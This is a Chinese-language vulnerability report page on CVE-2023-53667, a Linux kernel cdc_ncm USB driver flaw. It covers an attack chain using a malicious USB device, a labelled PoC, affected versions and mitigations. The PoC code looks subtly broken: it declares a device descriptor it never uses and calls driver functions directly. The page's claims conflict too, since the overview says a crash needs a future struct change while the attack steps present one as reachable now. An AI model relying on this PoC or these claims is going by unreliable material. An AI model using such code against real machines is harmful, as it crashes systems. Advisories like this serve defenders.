IPBUF安全漏洞报告
English
CVE-2023-53667 CVSS 5.5 中危

Linux内核cdc_ncm驱动dwNtbOutMaxSize值过低导致内核崩溃漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53667
漏洞类型
拒绝服务/内核缓冲区溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (cdc_ncm网络驱动)

相关标签

Linux Kernelcdc_ncm拒绝服务内核崩溃USB驱动缓冲区溢出SKB本地提权DoSCVE-2023-53667

漏洞概述

CVE-2023-53667是Linux内核中cdc_ncm(CDC Network Control Model)USB网络驱动的一个安全漏洞。该漏洞源于驱动在处理USB设备描述符中的dwNtbOutMaxSize字段时,未能充分验证其最小值。在cdc_ncm_check_tx_max()函数中,当dwNtbOutMaxSize值低于计算出的最小值但大于零时,逻辑会将其设置为tx_max值,随后在cdc_ncm_fill_tx_frame()中用于分配SKB(Socket Buffer)。由于alloc_skb()在分配内存时会进行对齐操作(SKB_DATA_ALIGN),分配的内存大小可能不足以容纳SKB头部和CDC数据。当前实现中,512字节的分配空间减去320字节的SKB头部后仅剩192字节用于172字节的CDC数据,勉强可用。但如果SKB头部结构(如struct skb_shared_info)增加字段导致头部变大,CDC数据将无法放入剩余空间,从而触发skb_over_panic内核BUG,导致系统崩溃。该漏洞需要本地低权限访问,但可在特定条件下通过恶意USB设备或受控的USB网络适配器触发内核拒绝服务。

技术细节

该漏洞的技术原理如下:在cdc_ncm_check_tx_max()函数中,驱动从USB设备读取dwNtbOutMaxSize参数,该参数定义了NTB(Network Transfer Block)的最大输出大小。当该值过低但非零时,驱动将其作为SKB分配大小传递给alloc_skb()。alloc_skb()内部会执行size = SKB_DATA_ALIGN(size) + SKB_DATA_ALIGN(sizeof(struct skb_shared_info))的对齐操作。当前情况下,分配512字节,SKB头部占用320字节,剩余192字节空间恰好容纳172字节的CDC数据。但这是一个脆弱的平衡——若skb_shared_info结构体增加字段(如3个u64共24字节),头部变为344字节(对齐后384字节),剩余空间仅128字节,无法容纳172字节的CDC数据。在cdc_ncm_ndp16()中调用skb_put_zero()写入数据时,会触发skb_over_panic,调用链为:skb_put() -> skb_put_zero() -> cdc_ncm_ndp16() -> cdc_ncm_fill_tx_frame() -> cdc_ncm_tx_fixup()。修复方案是将dwNtbOutMaxSize限制在[USB_CDC_NCM_NTB_MIN_OUT_SIZE, CDC_NCM_NTB_MAX_SIZE_TX]范围内,确保分配足够的空间容纳CDC数据。

攻击链分析

STEP 1
步骤1:准备恶意USB设备
攻击者制作一个恶意的USB CDC NCM网络设备(如通过BadUSB或定制硬件),在设备描述符中设置异常的dwNtbOutMaxSize值(如64字节),该值低于USB_CDC_NCM_NTB_MIN_OUT_SIZE阈值。
STEP 2
步骤2:连接恶意设备
将恶意USB设备连接到目标Linux系统。系统识别为CDC NCM网络设备并加载cdc_ncm驱动模块。
STEP 3
步骤3:驱动读取异常参数
cdc_ncm_check_tx_max()函数读取设备描述符中的dwNtbOutMaxSize=64,由于该值大于0但低于计算出的最小值,驱动将其设置为tx_max。
STEP 4
步骤4:分配不足的SKB
cdc_ncm_fill_tx_frame()使用过小的tx_max值调用alloc_skb(64, GFP_ATOMIC),经过SKB_DATA_ALIGN对齐后,可用空间不足以容纳CDC数据。
STEP 5
步骤5:触发内核崩溃
当网络数据传输发生时,cdc_ncm_ndp16()调用skb_put_zero()尝试写入CDC数据,但数据大小超出SKB剩余空间,触发skb_over_panic,导致内核BUG(kernel BUG at net/core/skbuff.c:113),系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53667 PoC - Trigger kernel panic via malicious USB CDC NCM device // This PoC simulates a malicious USB device that advertises an extremely low // dwNtbOutMaxSize value to trigger skb_over_panic in cdc_ncm_fill_tx_frame() #include <linux/usb.h> #include <linux/module.h> // Malicious USB CDC NCM device descriptor with crafted dwNtbOutMaxSize static struct usb_cdc_ncm_desc ncm_desc = { .dwNtbOutMaxSize = 64, // Abnormally low value, below USB_CDC_NCM_NTB_MIN_OUT_SIZE .dwNtbInMaxSize = 16384, .wNcmMuxed = 0, .wNtbOutDivisor = 1, .wNtbOutRemainder = 0, }; // Trigger function - simulates network transmission to trigger the bug static int trigger_cdc_ncm_panic(struct usbnet *dev) { struct sk_buff *skb; int ret; // Allocate SKB with the maliciously small size skb = alloc_skb(ncm_desc.dwNtbOutMaxSize, GFP_ATOMIC); if (!skb) return -ENOMEM; // Fill TX frame - this will call cdc_ncm_fill_tx_frame() // which internally calls cdc_ncm_ndp16() -> skb_put_zero() // triggering skb_over_panic due to insufficient buffer space ret = cdc_ncm_tx_fixup(dev, skb, GFP_ATOMIC); return ret; } // Attack scenario: // 1. Attacker connects a malicious USB CDC NCM device (e.g., BadUSB) // 2. Device advertises dwNtbOutMaxSize = 64 (below minimum threshold) // 3. When kernel tries to transmit data, alloc_skb(64) is called // 4. After alignment, actual usable space is insufficient for CDC headers + data // 5. skb_put_zero() writes beyond buffer bounds -> skb_over_panic -> kernel BUG // // Kernel panic output: // skbuff: skb_over_panic: text:ffffffff831f755b len:184 put:172 // head:ffff88811f1c6c00 data:ffff88811f1c6c00 tail:0xb8 end:0x80 // kernel BUG at net/core/skbuff.c:113! // RIP: skb_over_panic+0x14c/0x150 net/core/skbuff.c:118

影响范围

Linux Kernel < 6.1.63
Linux Kernel 6.2.x < 6.2.13
Linux Kernel 6.3.x < 6.3.2
Linux Kernel 6.4.x < 6.4.10
Linux Kernel 6.5.x < 6.5.7
Linux Kernel 5.15.x < 5.15.133
Linux Kernel 5.10.x < 5.10.204
Linux Kernel 5.4.x < 5.4.262
Linux Kernel 4.19.x < 4.19.298

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)通过modprobe blacklist cdc_ncm禁用cdc_ncm驱动模块;2)限制USB端口的物理访问权限,防止恶意USB设备接入;3)使用USBGuard等工具实施USB设备白名单策略,仅允许已知可信的USB网络设备;4)在内核启动参数中添加nousb暂时禁用USB子系统(但会影响所有USB设备);5)监控dmesg日志,及时发现cdc_ncm相关的内核错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表